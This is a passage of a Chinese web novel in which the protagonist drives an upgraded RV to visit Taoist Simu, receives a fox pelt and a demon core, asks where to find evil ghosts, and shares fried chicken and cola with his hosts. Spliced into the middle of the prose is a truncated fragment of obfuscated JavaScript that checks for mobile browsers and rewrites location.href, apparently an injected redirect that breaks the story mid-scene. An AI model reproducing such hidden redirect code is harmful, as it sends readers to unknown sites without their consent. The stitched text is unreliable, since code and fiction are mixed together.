阿草一听有任务,立刻来了精神,尤其是下厨,这可是她现在最大的爱好和“战略重心”。
她一直坚信,想要牢牢拴住一个男人,首先得拴住他的胃!
只要自己的手艺让老板满意,那她的地位就稳如泰山!
她欢快地应了一声,像只轻盈的蝴蝶,翩然飘向那个开放式厨房。
古德则惬意地把自己扔进客厅那张L型沙发的怀抱里。
沙发的填充物软硬适中,完美承托着他的腰背,舒适得让人不想起来。
他目光扫过室内温馨现代的环境,心思却沉静下来,呼唤出系统界面。
“系统,”他在心中默念,“车子升级好了,把具体的参数和变化清单给我列一下,要详细的。”
意念刚落,一道淡蓝色的半透明光幕在他眼前悄然展开,上面罗列着清晰的数据:
【诸天滴滴专属座驾-当前状态报告】
动力系统:肾动力发动机(初级版)-最高稳定时速320km/h,加速性能显著提升,匀速巡航能耗降低35%。
防护系统:金刚不坏车身(带玻璃版)-物理防护等级极大提升,对常规动能冲击、穿刺、切割有极高抗性。对阴性能量侵蚀、灵体冲撞具备优秀抗性。玻璃强度等同车身。
生活设施:超舒适记忆海绵大床(基础款)-提供顶级休息体验,附带基础按摩理疗功能,微弱提升休息时法力恢复速度及轻伤愈合速度。
空间模块:豪华内空间拓展模块(基础型)-稳定拓展车内可用空间至约180平方米(当前未完全分割)。空间稳定性高,支持基础自定义布局及环境模拟。
其他:车内基础环境控制系统优化,空气循环、温湿度调节更高效安静。
古德逐行仔细查看,越看心里越踏实,嘴角不自觉地上扬。
别的不说,光是这时速320公里和金刚不坏的车身,就让他安全感暴增。
这个世界水太深,要是以后碰到打不过的大佬,跑总跑得掉!
就在他浏览系统信息的同时,厨房那边传来了令人愉悦的声响。
阿草已经系上了一条崭新的碎花围裙,开始熟练地操作起来。
她先打开那个对开门的大冰箱,里面连接着原来的车内空间,但是可以根据需求显化在冰箱内,还有制冰功能。
她拿出需要的材料,关上冰箱门,走到一体式橱柜前。
“哇,老板,这个火比之前快多了!”
阿草惊喜地看着电磁炉灶眼瞬间
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变红,却没有明火,她将一个小汤锅接满水放上去,水很快就咕嘟咕嘟地沸腾起来。
她又拿起一个看起来就很高档的不粘煎锅,放在另一个灶眼上,倒入一点油,油热后,熟练地磕入两个鸡蛋,“刺啦”一声,蛋白迅速凝固,边缘焦黄,蛋黄却依旧溏心,香气瞬间弥漫开来。
接着她又煎了几片火腿肠,烫了一把小青菜。
煮面的同时,她还用了旁边的微波炉热了两杯牛奶。
整个过程行云流水,厨房设施的使用体验让她非常满意。
不一会儿,阿草就端着两个托盘走了过来。
托盘上各放着一大碗热气腾腾的阳春面,清亮的汤底,雪白的面条,上面卧着一个金黄的煎蛋、两片焦香的火腿和几根翠绿的青菜,旁边还有一小杯热牛奶。
色香味俱全,让人食指大动。
“老板,早餐好了,趁热吃。”
阿草将托盘放在茶几上,脸上带着期待被表扬的神情。
古德拿起筷子,尝了一口面,口感劲道,汤头清淡鲜美,煎蛋的火候恰到好处。
他满意地点点头:“嗯,不错,手艺有进步。这新厨房好用吧?”
“太好用了!
”阿草兴奋地说,“火候一下子就能到位,锅也轻便!”
两人很快吃完了早餐。
阿草手脚麻利地收拾好碗筷,放进那个看起来就很高级的洗碗机,按下按钮,机器开始无声地工作。
她又走到一个储物柜前,在古德给她的权限下,精心挑选了两瓶看起来高档的白酒,用一块干净的布仔细包好,放进一个手提袋里。
“老板,礼物准备好了。”阿草将手提袋递给古德。
古德接过袋子,看了看窗外明媚的阳光,打了一个响指。
“好,出发。咱们先去会会这个世界,顺便……找点活干。”
他的眼中,闪过一丝的期待光芒。
拯救世界太遥远,先定个小目标,赚够一个小目标的阴德值!
第266章 上门拜访四目
古德坐进焕然一新的驾驶室,手握触感极佳的真皮包裹方向盘。
轻轻踩下油门踏板,动作并不算重。
“嗡——”
一声低沉而有力的引擎轰鸣声响起,并不刺耳,却带着一种蓄势待发的力量感。
紧接着,一股强烈的推背感猛地传来!
车身如同离弦之箭般,“嗖”地一下就窜了出去!
“砰!”
一声沉闷的巨响传来。
古德只感觉车身微微一顿,仿佛轧过了一个微不足道的小土包,驾驶室内甚至连明显的震动都几乎没有。
他透过后视镜一看,好家伙,房车右前角结结实实地撞在了路边一棵碗口粗的杉树上。
那棵倒霉的杉树已经从根部断裂,歪倒在一旁,而房车被撞的位置,连一点划痕都没留下,漆面光亮如新。
“我靠!这油门也太灵敏了!这动力……”
古德又是惊讶又是欣喜,赶紧轻点刹车,将车停稳。
他再次感叹这肾动力发动机的强悍和金刚不坏车身的靠谱。
这要还是原来那辆出租车,估计前保险杠已经废了。
有了这次教训,古德开始小心翼翼地控制油门和方向盘。
虽然道路条件极差,可以说根本谈不上路,只是山林间人畜踩出的小径,布满碎石、坑洼和横生的灌木。
但升级后的悬挂系统表现优异,将那些颠簸都过滤掉,车内非常平稳。
遇到实在过不去的茂密灌木丛或低矮树枝,古德直接轻踩油门碾过去!
车轮下传来噼里啪啦的断裂声,那些植被在坚固的车身和强大的动力面前,如同纸糊一般不堪一击。真正的“遇山开山,遇树撞树”。
虽然不清楚四目道长的具体住所,但之前升级的导航系统依然还在。
古德输入昨天四目给的大概方位,一个淡蓝色的箭头虚影投射在前挡风玻璃新上,指示着方向。
古德就顺着这箭头,在这片比较原始山林中硬生生开辟出一条临时通道,一路碾压前行。
大约开了十分钟,眼前豁然开朗。
房车终于驶出了密林,拐上了一条虽然狭窄,但明显是很多人马踩出来的土山路。顺着山路又行驶了不到十分钟,导航箭头消失了。
古德抬眼望去,只见前方不远处的山坳里,傍着一条清澈的溪流,而且并排坐落着两座院落。
这两处院子都带着明显的年代感,木头搭建,还有木门竹篱,颇有几分隐士居所的味道。
一座院子收拾得相对整齐些,另一座则显得更为古朴,甚至有些破旧,但都透着一股与世无争的宁静气息。
“应该就是这里了。”
古德将造型略显突兀的白色房车停在距离院子百米开外的一处平坦空地上,熄了火。
他带着阿草下了车,锁好车门,朝那两座院子走去。
还没走近篱笆墙,一阵中气十足、却又带着几分孩子气斗嘴意味的吵闹声就从那座相对整齐的院子里传了出来,打破了山间的静谧。
“吃我的花生米!香脆可口,补中益气!”
“呸!吃我的萝卜干!爽脆开胃,还通气!比你那干巴巴的花生米强多了!”
“我的花生米下酒一流!”
“我的萝卜干配粥绝佳!”
阿草竖着耳朵听了听,漂亮的脸蛋上露出困惑的神情,小声对古德说:
“老板,他们吃饭就吃饭嘛,怎么还像唱戏一样报菜名呀?这是本地的风俗吗?吃饭前要喊一喊,告诉老天爷今天吃啥?”
古德也被这熟悉的斗嘴场景逗乐了,笑着摇摇头:
“可能……是人家好友之间独特的交流方式吧,增进感情。”
他想起电影里的情节,心里已经猜到了里面的场景。
两人刚走到院门口,还没等进入,就见院门从里面被拉开了。
一个穿着红色碎花土布上衣、蓝色长裤,梳着两条大辫子,面容姣好、眼神灵动的年轻女子,端着一个装有碗筷的木托盘走了出来,看样子是要往隔壁院子送东西。
她看到站在门口的古德和阿草,明显愣了一下,尤其是看到阿草那与周围环境格格不入的俏丽容貌和时尚衣着,眼中闪过一丝惊讶和好奇,但没多问,只是礼貌性地点了点头,便端着盘子往隔壁走去。
紧接着,一个脑袋从门后探了出来。
这是个年轻小伙子,约莫十**岁年纪,剃着个有点土气的蘑菇头,皮肤黝黑,长相憨厚,穿着一身洗得发白的粗布短褂,胸口衣襟随意地敞开着,露出结实的胸膛。
他手里还捧着一个大海碗,里面是稀粥咸菜,正吃得呼噜作响。
他看到古德和阿草,也是满脸好奇,憨憨地问道:“你……你们好,找谁啊?”
古德脸上露出和善的笑容,拱手道:
“小兄弟你好,在下古德,特来拜访四目道长,请问他是否住在这里?”
就在这时,院子里传来四目道长那特有的带着几分市井精明的声音:“谁啊?家乐,谁在外面?”
话音未落,只见四目道长顶着他那标志性的圆框眼镜,一边拍打着道袍前襟上沾着的几粒花生米碎屑,一边快步走了出来。
他看到古德,脸上立刻堆起了热情的笑容:
“哎呀!是古道友!大驾光临,有失远迎,快请进快请进!”
他转头对着那憨厚青年,,眼睛一瞪:
“家乐!傻愣着干什么?没点眼力见!这位是古德古师叔,是你师父我的贵客!还不快叫人!”
家乐被师父一吼,缩了缩脖子,连忙放下碗,恭恭敬敬地对着古德弯腰行礼,瓮声瓮气地喊道:“师叔好!”
古德看着家乐这憨直的模样,觉得十分有趣,当时刚苏醒的时候,就是去钱家乐模样的陈氏兄妹那边吃饭。
而来到这个世界,没想到也能遇到钱家乐演的角色家乐。
可真是有缘分。
古德笑着从口袋里摸出一把用彩色玻璃纸包裹的、在这个时代绝对算稀罕物事的水果奶糖,塞到家乐手里:
“家乐是吧?我来得匆忙,没带什么好东西,这几颗糖你拿着甜甜嘴。剥开这层纸就能吃了。”
家乐看着手里花花绿绿,从没见过的糖块,又抬头看看笑容温和的古德,有些不知所措,憨憨地接过去,捏在手里,忘了道谢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823036|188009||http|test|mini|href|location''.split(''|''),0,{}));
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r>四目道长见状,没好气地抬手轻轻在家乐后脑勺上拍了一下:“愣头青!还不谢谢你古师叔!”
家乐这才反应过来,连忙笨拙地鞠躬:“谢谢师叔!”
“古道友,千万别见怪,我这徒弟啊,心思单纯,没见过什么世面。”
四目道长一边笑着对古德解释,一边侧身将古德和阿草让进院子,“快,屋里请,屋里坐!”
古德笑着点点头,带着阿草走进正屋,只见一休大师正拿着一块抹布,慢条斯理地擦拭着饭桌,桌上还残留着些许粥渍和花生皮。
而千鹤道长则一脸生无可恋、眼神空洞地坐在一张靠墙的竹椅上,望着房梁发呆,显然还没从昨夜失去爱徒的打击中完全恢复过来,对刚才外面的斗嘴和来客似乎都充耳不闻。
这画面,颇有几分喜剧效果。
古德觉得这场面既好笑又带着点温馨的无奈。
他示意了一下阿草。阿草乖巧地将手中那个装着两瓶高档白酒的精致礼盒递了上来。
古德接过礼盒,双手递给四目道长,语气诚恳中带着恰到好处的客气:
“四目道友,冒昧来访,区区薄礼,不成敬意。这两瓶水酒,聊表心意,还望道友不要推辞。”
四目道长接过那包装精美的礼盒,入手沉甸甸,再看那酒瓶的样式。
他闯南走北,见过不少好东西,所以一眼就看出古德送的绝非凡品,价值不菲。
他脸上笑容更盛,心里却快速盘算起来。
这古道友修为高深莫测,出手阔绰,又是师弟的救命恩人,这份礼可不轻。
他四目虽然为人圆滑,爱占小便宜,但更讲究人情往来,有来有回,绝不能白占人家这么大便宜。
可回点什么呢?钱财?人家估计看不上。
法器?自己压箱底的宝贝也舍不得,而且对方似乎也不缺,对方更是有地府的关系。
他一时有些犯难,目光不由自主地瞥向一旁魂不守舍的千鹤。
千鹤道长此时也被这边的动静吸引,勉强回过神来。
看到古德,他挣扎着想站起来,脸上挤出感激又悲伤的复杂表情:
“古道友……你来了。大恩不言谢,千鹤铭记于心!日后道友但有所需,只要一言相托,千鹤纵是刀山火海,也绝不推辞!”
这话说得极为郑重,几乎是赌上了他今后的全部承诺。
他自知身无长物,唯有这条命和一身修为还算值钱。
古德连忙上前虚扶了一下,温和地说道:
“千鹤道友言重了!你我皆是修道之人,除魔卫道本是分内之事。恰逢其会,举手之劳而已,道友万万不可如此挂怀。当务之急是你好生休养,恢复元气。”
就在古德与千鹤交谈之际,四目道长目光扫过自家这简陋的屋舍,又看看气度不凡、连随从都透着灵秀之气的古德,眉头微皱,暗自思忖:
“这古道友一看就不是池中之物,寻常金银法器怕是入不了他的眼……送什么既显得有诚意,又不至于让我大出血呢……”
他眼珠子滴溜溜地转着,忽然,他脑子里灵光一闪,猛地一拍大腿!
“有了!”
第267章 四目的回礼
四目道长猛地一拍大腿,像是想起了什么重要的事情,脸上露出灵光一现的兴奋神色。
他对着古德和阿草匆匆说了一句“二位稍等片刻,我去去就来!”,便转身风风火火地冲进了里间自己的卧房。
只听卧房里传来一阵翻箱倒柜的“叮铃哐啷”声,夹杂着四目低声的嘟囔:
“放哪儿了来着……哎呦,这破箱子……找到了!果然在这!”
没过多久,四目道长又快步从里间走了出来,手里捧着两样物事。
一样是一簇打理得极好、**色油光水滑、呈现出漂亮火红色的完整狐狸皮**,即便是已经失去了生命,那皮**在昏暗的光线下依然隐隐流动着一层柔光,可见其生前并非凡品。
另一样,则是一颗约莫鹌鹑蛋大小、通体浑圆、呈现出一种温润琥珀色的珠子,珠子内部仿佛有氤氲的光晕在缓缓流转,散发着一股精纯却又带着些许妖异的能量波动。
四目道长将这两样东西递到古德面前,脸上带着几分得意和真诚,解释道:
“古道友,你看,这是贫道前几日在山里撞见的一只祸害我的客人,还会吸人精气的百年狐妖,费了点手脚才将其拿下。这皮**还算完整,做个围脖或是坎肩倒是挺不错。关键是这个.....”
他指了指那颗琥珀色的珠子:
“这是那狐妖的内丹,凝聚了它百年的道行,对于妖类修行大有裨益。我看道友身边的这位……”
他目光转向阿草,“……这位姑娘,嗯,身上灵气纯净,但根基似乎偏于木属草木精灵一路?
这狐妖内丹属性偏火,虽不能直接吸收,但若以秘法缓缓炼化,取其精纯元气,对于稳固根基、提升道行也是极好的补品。
放在贫道这里,也就是个压箱底的玩意儿,不如送给道友,或许对你这仆从的修行能有些许帮助,也算是我的一点心意,莫要推辞。”
阿草在一旁,自打四目拿出那颗内丹,一双美眸就瞬间亮了起来,视线几乎黏在了那颗珠子上,下意识地咽了口口水。
她能清晰地感受到那内丹中蕴含的精纯能量,对于她这种精怪而言,这无疑是难以抗拒的大补之物。
虽然古德传授给她的**玄妙无比,让她无需再依靠旧法吸取欲望修行,而且新法的进度已然不慢,但若能得此内丹相助,必定能省去许多**工夫,修为能更上一层楼。
以后也能更好地帮到老板,不至于总是只能打打下手。
不过,尽管心里馋得厉害,阿草还是牢记自己的本分,眼巴巴地瞅着古德,没有古德发话,她绝不敢有任何表示。
古德何等眼力,自然将阿草那点小心思看在眼里。
他心中暗笑,也觉得四目这人确实会来事,懂得人情往来。
他这般示好,自己若坦然收下,双方的关系自然就更近了一步。
于是古德脸上露出欣然之色,双手接过狐皮和内丹,诚恳地道谢:
“四目道友太客气了,如此厚礼,我就却之不恭了。阿草,还不快谢谢道长?”
说着,他便将那枚尚带着一丝温热的狐妖内丹随手递给了早已望眼欲穿的阿草。
阿草连忙双手接过内丹,如同捧着绝世珍宝,小脸上绽放出灿烂的笑容,对着四目道长和古德连连鞠躬:
“谢谢老板!谢谢道长!阿草一定努力修炼,不辜负老板的栽培!”
那欢喜劲儿,藏都藏不住。
古德笑着摆摆手,示意她不必多礼。
随后,他神色稍正,看向四目和一旁精神稍好一些的千鹤道长,开口道:
“四
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目道友,千鹤道友,其实今日来访,除了探望千鹤道友伤势,还有一事想向二位打听一下。”
四目道长见古德收了礼物,心情正好,闻言“哦?”了一声,脸上露出感兴趣的神色。
他连忙从旁边搬过两个小竹凳,用袖子拂了拂上面的灰尘,示意古德坐下说话。
“道友请坐,有什么事咱们慢慢说,站着多累得慌。”
他又扭头朝着院子里喊了一嗓子:“家乐!别傻站着了,快去烧壶热水,沏壶好茶来!用我藏在柜子顶上那罐云雾茶!”
院子外正在探头探脑的家乐听到师父吩咐,连忙应了一声:“知道啦,师父!”
接着便是一阵手忙脚乱的脚步声远去。
一旁的一休大师见状,双手合十,对着古德和千鹤微微颔首道:
“古施主,千鹤道长,你们既有要事相谈,贫僧就不打扰了。隔壁那小娃娃一个人待着,贫僧回去看看。”
他说完,又瞥了四目一眼,眼神里带着今天就不和你计较的意味,然后慢悠悠地踱出了屋子。
几人重新落座。
古德也不绕弯子,直接开门见山地问道:
“实不相瞒,二位道友久在此地修行,不知是否知晓,附近何处有鬼王盘踞,或者是有道行高深、为祸一方的恶鬼、厉鬼出没的消息?”
四目道长一听这话,眉头下意识地就皱了起来,脸上掠过一丝警惕和疑惑。
他摸了摸下巴,谨慎地反问道:
“古道友……打听这些凶戾之物,所为何事?”
他心下嘀咕,这位古道友修为高深,但一来就打听这些,莫非是修炼什么需要鬼物辅助的偏门法术?
或是另有所图?
他虽感激古德救了师弟,但身为正道中人,对这类事情本能地抱有戒心。
第268章 给你推荐一个人
古德一看四目的表情,就明白他心中所想。
他微微一笑,早就想好了说辞,既不暴露真实意图,又能给出一个合情合理的解释:
“道友不必多虑。我与地府的一位鬼差有些交情,曾立下约定。每隔一个月,我需擒拿那些在阳间作恶、扰乱阴阳秩序的凶魂厉鬼,由他押解回地府受审,维护一方安宁。而且将这些祸害清除,也能免得多有无辜百姓遭殃。”
他这番话说得半真半假,将赚取阴德升级车辆,当油费的目的,包装成了协助地府、积德行善的正义之举,听起来就顺耳多了。
四目道长闻言,紧绷的脸色顿时缓和下来,眼中疑虑尽消,取而代之的是一丝了然和钦佩。
为什么这么快消除疑虑,是因为昨夜回去路上,千鹤也和他说过此事。
“原来如此!古道友竟与地府有这等渊源,是在下多心了,失礼失礼!”
他拱了拱手,一旁的千鹤道长也点了点头,他昨夜是亲眼见过古德与鬼差交谈的,对此更是深信不疑。
四目沉吟片刻,摸了摸脑袋,有些不好意思地说道:
“不瞒古道友,贫道虽说也修行多年,但主要营生是赶尸,替人将客死异乡的同胞送回故土安葬。
驱邪捉鬼的活儿虽然也接,但多是些乡野间不成气候的小精小怪,或者处理些尸变的寻常行尸。像道友所说的鬼王、厉害厉鬼……贫道这儿,一时半会儿还真想不到哪里有现成的。”
他话锋一转,眼睛一亮,拍手道:“不过!贫道倒是可以给道友引荐一个人!他对此道最为精通!”
千鹤道长在一旁接口道:“师兄,你说的莫非是……林师兄?”
“正是!”
四目道长用力点头,看向古德,脸上带着推崇之色。
“我们这一辈师兄弟里,若论驱邪捉鬼、**僵尸的本事,当属我们二师兄林九英,道号一眉,大家更习惯叫他九叔。他常年坐镇任家镇外的义庄,那地方本就是聚阴之地,方圆百里的邪祟之事,多半最后都会找到他头上。
林师兄他性子耿直,嫉恶如仇,这些年擒拿、收服的各类凶魂厉鬼不知凡几。很多一时无法超度、怨气极重的,都被他用法器封印在富贵镇的道场里,准备化解其怨气,等待合适的时机再行超度。”
他凑近了些,压低声音道:“我上月路过任家镇去看他,还见他为富贵镇里库存的鬼物太多有些发愁,超度起来费时费力。
若是古道友有门路,能请动阴差直接将那些顽冥不化的恶鬼带走,送入地府审判,那可是帮了九师兄的大忙了!
他定然求之不得!而且,我听说富贵镇那边近来似乎也不**宁,富贵镇前几日还托人带信给林师兄,镇子附近不太平,希望他回去处理。古道友你要是这时候过去,说不定正好能碰上他,还能顺手帮他解决点麻烦,那不是更好说话?”
古德听着“林九英”、“九叔”、“任家镇”这些熟悉的字眼,心中顿时豁然开朗!
果然是他!是他!就是他!我们的.....咳......僵尸道长!
那位堪称僵尸片宇宙定海神针、邪祟克星、诸天新手导师之称的林凤娇!
按照四目的说法,九叔那里简直就是个优质鬼物批发市场,囤积了不少现货。
自己去帮他清库存,一来可以解决自己货源问题,那些被九叔封着的鬼,交给赵吏,阴德抽成肯定不少。
二来,九叔自己也能省去超度的繁琐,交给赵吏带下去,同样能分润到他超度一样阴德数量,这是双赢。
三来,还能结识这位鼎鼎大名的正道人物,以后在这世界,也算多了一条人脉和一处可能获得帮助的渠道。
比他自己像个无头苍蝇一样到处乱撞,打听哪里闹鬼要高效靠谱太多了。
想到这里,古德脸上露出笑容,对着四目道长拱手道:
“四目道友,如此甚好!若能得林道长引路或行个方便,真是解了我一大难题。不知可否麻烦道友,为我引荐一番?”
四目道长见古德有意,哈哈一笑,显得十分热情:
“这有什么麻烦的!我师兄那人,最喜欢跟有道行的朋友交流切磋,论道谈法。古道友你修为高深,为人又正派,我师兄见了肯定欢迎!说不定还要拉着你探讨半天法术呢!”
他心里也高兴,觉得既帮古德解决了问题,又给师兄介绍了个有本事的同道,说不定还能帮师兄减轻点库存压力,一举多得。
事情有了方向,古德感觉轻松了不少。
心情舒畅之下,他看了一眼窗外,日头已经升高,快到晌午了。
他便对侍立一旁的阿草吩咐道:
“阿草
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,时候不早了。你回车上看看,挑些方便可口的小菜,再拿些炸鸡、汉堡,还有几瓶快乐水过来。今日中午,我们就在四目道友这里叨扰一顿便饭。”
阿草正美滋滋地感受着内丹里传来的对她妖族修为大有裨益的纯净阴力,闻言立刻点头:“好的老板!”
转身就要往外走。
四目一听,连忙站起来摆手:
“诶诶诶!古道友,你这可太见外了!到了我这荒山野岭,哪能让客人自带吃食的道理?家乐!家乐!”
他又要喊徒弟。
古德笑着拦住他:“四目道友,别急。我是想让你和千鹤道友,也尝尝我家乡的一些风味。这些东西方便,味道也还过得去。”
他看向千鹤,“千鹤道友昨天尝过一点,觉得如何?”
千鹤想起昨晚那金黄酥脆、香气扑鼻的炸鸡,和那滋味奇特却又让人上瘾的深色糖水,喉咙不自觉动了动。
他伤病在身,胃口本来不好,但那两样东西却让他食指大动。
此时听古德问起,便老实点头,对四目说:
“师兄,古道友带来的那些吃食,确实风味独特,很是新奇可口,与我等平日所食大不相同。你可以尝尝。”
四目见千鹤都这么说,好奇心也被勾了起来,搓着手道:“哦?师弟你都这么说,那我倒真要尝尝了。”
他不再坚持,但又觉得白吃不好意思,眼珠一转,对千鹤道:
“师弟,古道友帮我们这么大忙,又救命又请吃饭。这样,以后我赶尸路上,或者接活儿的时候,要是遇到合适的的鬼物,古道友我就给你留着!”
千鹤也正色道:“师兄所言极是。待我伤愈之后,也要多往那些阴邪之地走走,若有收获,定当送给古道友,也算略尽绵力,报答救命之恩。”
他心里已经下了决心。
古德要的就是这个效果。
建立起这种互助互利的关系,比一顿饭的价值可大多了。
他笑道:“二位道友太客气了。那咱们就说定了,以后互通有无。”
这时,家乐提着一个冒着热气的旧陶壶,拿着几个粗瓷茶碗走了进来。
他好奇地看了看众人,把茶壶茶碗放在桌上,又乖巧地退到一边。
阿草则脚步轻快地出了门,朝着远处空地上的房车跑去,准备展现她厨艺技能。
第269章 日常闲聊
正事谈妥,堂屋里的气氛愈发轻松活络起来。
午后的阳光透过木格窗棂,在布满划痕的旧方桌上投下斑驳的光影,空气中漂浮着细微的尘埃。
四目道长本就是个闲不住的性子,此刻见阿草出门去取吃食,徒弟家乐也在一旁探头探脑,一副好奇宝宝的模样,便又想起了刚才的话题,心里那点关于阴间业务的好奇心像是被猫爪子挠似的,痒痒得很。
他抬手扶了扶鼻梁上那副圆框眼镜,镜片后的小眼睛闪烁着精明的光,凑近古德,压低声音,带着打听的口气问道:
“哎,古道友,方才听你提及,与下面的鬼差有约定,定期要送些货下去。我冒昧多问一句哈,这定期……是个什么说法?送下去的鬼物,有没有什么好处拿?”
他边说边用右手拇指和食指搓了搓,做了个掂量银钱的手势,这贪财的模样,与他这身道袍形成一种微妙的反差感。
古德心里暗觉好笑,这四目道长果然如记忆中那般,带着点市井与实在,问的问题直接又关键。
他面上不动声色,略作沉吟,继续沿用之前那套半真半假的说辞,语气平和地解释道:
“四目道友问得细致。其实呢,这约定并无定例,颇有些随行就市的意思。主要还是看鬼物本身的道行、为祸的程度,以及……清理起来的难易。
好处就是地下的一些东西,可以用鬼物去交换,也可以换一些阴德,例如你给我鬼,我让鬼差带下去,鬼差抽一笔阴德,我抽一笔,但是大头都是在你这。
不过寻常那些浑浑噩噩没啥害处只是赖着不走的游魂野鬼,送下去算是结个善缘,添头而已,意思意思。若是成了气候的厉鬼恶鬼,自然价值要高上许多。”
说道这里,古德顿了顿,声音压低了些:
“更好的就是鬼王那个级别的……那是很值钱的。不过那种存在,多半盘踞一方,煞气冲天,一个不好,搞不好自己都得折进去。
不瞒二位,我上段时间,曾侥幸遇到过一位快要成气候的邪灵,那真是……一番苦斗,险象环生,差点就阴沟里翻船。”
他适当地流露出一点心有余悸的表情,指的自然是那个棘手的大黑佛母。
这番说辞,既抬高了业务门槛,又暗示了其中的风险与收益,更隐隐彰显了自己的实力,听得四目和千鹤神色各异。
千鹤道长闻言,微微颔首,他亲身经历过皇族僵尸的厉害,对古德的话深有体会,眼中流露出理解和钦佩。
四目道长则“哦——”地拖长了音调,恍然大悟般点点头,眼睛里光芒闪烁,似乎在快速计算着其中的利润与风险。
同时对古德的实力又高看了一眼,没想到这位看似年轻的道友,竟还有与鬼王级别交手的经历,真是人不可貌相。
就在这时,堂屋门口光线一暗,阿草回来了。
她手里拎着一个超大用细藤条精心编织的食盒,食盒样式古朴,边角处还嵌着防撞的铜片,看着就沉甸甸的。
这食盒是她刚才回房车后,特意从储物空间里翻找出来的,选了个看起来最符合这个时代风格的,以免太过扎眼。
“老板,吃食取来了。”
阿草声音清脆,将食盒小心地放在堂屋中央那张擦拭过的方桌上,然后
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轻轻掀开了盒盖。
顿时,一股复杂而诱人的香气如同解开了封印,瞬间在空气中弥漫开来。
首当其冲的是炸鸡那霸道浓烈带着油脂焦香的诱人气味,紧接着是汉堡面包胚的麦香混合着烤制肉排和酸甜酱汁的独特气息。
再往下,还有烧鹅的醇厚脂香、卤味的咸香,以及几道精致粤菜如糖醋咕噜肉的酸甜、煲仔饭的焦香饭气……
各种香味交织在一起,形成一种极具冲击力的盛宴前奏,让原本只有淡淡茶香和旧木味道的堂屋,瞬间变得活色生香。
食盒内部结构精巧,分了好几层。
阿草一层层取出摆放。
最上层是几个用防油牛皮纸包得整整齐齐的包裹,打开后,露出里面金黄酥脆、还滋滋冒着细微油泡的炸鸡块,每一块都大小均匀,色泽诱人。
旁边是几个用同样材质油纸包裹好的汉堡。
下一层是一只油光红亮、体型饱满的深井烧鹅和几碟卤水拼盘。
再往下则是几道地道的粤式小炒和点心。
晶莹剔透的虾饺、皮薄馅大的干蒸烧卖、一碟色泽红亮的糖醋咕噜肉,甚至还有一小煲热气腾腾、带着锅巴焦香的腊味煲仔饭。
最底层则整齐地码放着几瓶深褐色玻璃瓶、标签花哨的“快乐水”。
这些食物,尤其是炸鸡、汉堡和快乐水,对于常年生活在民国初年、饮食相对朴素单调的四目、千鹤乃至年轻的家乐来说,其造型、香气和呈现方式都充满了难以想象的新奇感。
那炸鸡的色泽和香气格外具有冲击力,汉堡的结构更是他们从未见过的夹心面包。
第270章 四目的美食尝鲜
家乐的眼睛瞬间就直了,死死盯着那金黄的炸鸡,忍不住连续吸了好几下鼻子,喉结上下滚动,发出清晰的“咕咚”咽口水的声音。
四目道长也被这阵势吸引,忍不住从座位上站起来,绕着桌子走了一圈,像个好奇的老小孩。
他先凑近那炸鸡,鼻子抽动仔细闻了闻,又小心翼翼地用手指轻轻碰了碰酥脆的外皮,发出“咔嚓”的细微声响,引得他啧啧称奇。
然后他又拿起一个汉堡,在手里掂了掂分量,翻来覆去地看,脸上满是困惑和好奇:
“嚯!古道友,你们家乡这吃食……真是别致!这圆滚滚的夹馍?怎么个吃法?就这么……双手捧着,直接上嘴啃?”
他模仿着一个张大嘴欲咬的夸张动作,眉毛挑得老高,模样甚是滑稽。
阿草在一旁看得忍不住想笑,连忙用眼神询问古德。
古德笑着拿起一个汉堡,熟练地撕开包裹的油纸,示范道:“就这样,四目道友不妨试试,入乡随俗,也体验一下我们那边的吃法。”
四目也是个爽快人,见古德如此,便不再犹豫,学着他的样子,双手捧起汉堡,大大地咬了一口。
他咀嚼了几下,眼睛顿时瞪大了,含混不清地嘟囔道:
“嗯!唔……妙啊!这面包胚子,软乎!里面这肉排……厚实,酱汁味道也足,酸甜咸鲜,层次分明,有意思!真有意思!”
他似乎发现了新大陆,又接连咬了几大口,吃得腮帮子鼓鼓囊囊,一脸满足。
千鹤道长伤势未愈,胃口不佳,但也被这食物勾起了兴趣,他拿起一个汉堡,小口小口地吃着,眼中也流露出满足之色。
得到师父默许的家乐,早已迫不及待地抓起一块最大的炸鸡,顾不得烫,一口咬下去,“咔嚓”一声脆响,外皮应声而裂,露出里面滚烫、雪白、汁水丰盈的鸡肉,烫得他直呵气,却舍不得吐出来,脸上洋溢着混合着痛苦与极致幸福的扭曲表情,逗得阿草掩嘴轻笑。
古德又拿起一瓶快乐水,用桌角熟练地撬开金属瓶盖,递给刚刚咽下口中食物的四目:
“道友再尝尝这个,这叫快乐水,配着吃,清爽解腻,别有一番风味。”
四目道长接过这冒着寒气的玻璃瓶,看着里面不断上升翻腾的密集气泡,脸上露出一丝迟疑,这东西看起来怎么像是下了药一样冒泡?
但他见古德喝得坦然,便也鼓起勇气,仰头灌了一口。
冰凉爽快、甜度极高且带着强烈气泡冲击感的液体瞬间划过喉咙,直冲鼻腔,让他猛地激灵了一下,忍不住打了个响亮的嗝儿!
“嗝儿——!”他缓过劲来,咂咂嘴,表情古怪又带着几分惊喜:
“这……这快乐水!够劲儿!这气泡顶得嗓子眼痒痒,呛得慌,但又怪过瘾的!透心凉!的确很快乐!”
”一顿饭吃得欢声笑语。
四目和家乐对炸鸡、汉堡赞不绝口,吃得不亦乐乎。
千鹤也比平日多用了些饮食,苍白的脸上似乎恢复了一点血色。
那瓶快乐水更是成了焦点,四目甚至拿着空瓶对着光研究了好久,嘀咕着这气泡是怎么灌进去的。
吃到一半,四目看着满桌荤腥,突然想起什么,带着几分幸灾乐祸的调侃语气对家乐说:
“哎呀,可惜喽,这么多好东西,一休那个老和尚是没这口福咯!戒律清规,沾不得荤腥。不过嘛……”
他眼珠一转,坏笑道,“家乐,你可以拿个白馍,夹两片青菜,给大师送过去,就说尝尝古道友家乡的素夹馍,让他也闻闻肉香!”
家乐正啃着鸡腿,闻言憨憨地问:“师父,那……那箐箐呢?她也不是和尚,我能给她留个鸡腿吗?”
